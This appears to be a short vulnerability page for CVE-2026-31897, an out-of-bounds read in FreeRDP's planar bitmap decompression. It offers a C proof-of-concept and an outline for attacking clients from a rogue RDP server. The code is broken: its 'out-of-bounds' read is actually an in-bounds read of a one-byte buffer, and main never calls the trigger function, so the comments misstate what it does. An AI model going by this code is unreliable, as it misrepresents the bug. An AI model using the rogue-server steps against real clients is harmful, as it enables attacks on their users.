CVE-2026-31897 FreeRDP freerdp_bitmap_decompress_planar函数越界读取漏洞

// CVE-2026-31897 PoC - Malicious RDP Server Trigger // This PoC demonstrates triggering OOB read in freerdp_bitmap_decompress_planar // Compile: gcc -o poc poc.c -lfreerdp2 #include <freerdp/freerdp.h> #include <winpr/wtypes.h> // Trigger condition: SrcSize = 0 with non-NULL pSrcData // The vulnerable function will read one byte past pSrcData buffer void trigger_oob_read(rdpContext* context) { // Simulate the vulnerable code path BYTE* pSrcData = (BYTE*)malloc(1); // 1-byte buffer UINT32 SrcSize = 0; // Zero size triggers OOB read BYTE* srcp = pSrcData; // This line causes OOB read when SrcSize is 0: BYTE firstByte = *srcp; // Reads past buffer end printf("Triggered OOB read, got byte: 0x%02x\n", firstByte); free(pSrcData); } // For actual exploitation, setup malicious RDP server: // 1. Start rogue RDP server on attacker machine // 2. Send crafted bitmap decompression request with SrcSize=0 // 3. Victim FreeRDP client processes malformed packet // 4. OOB read occurs in freerdp_bitmap_decompress_planar int main() { printf("CVE-2026-31897 PoC\n"); printf("Target: FreeRDP < 3.24.0\n"); printf("Vulnerability: OOB read in freerdp_bitmap_decompress_planar\n"); return 0; }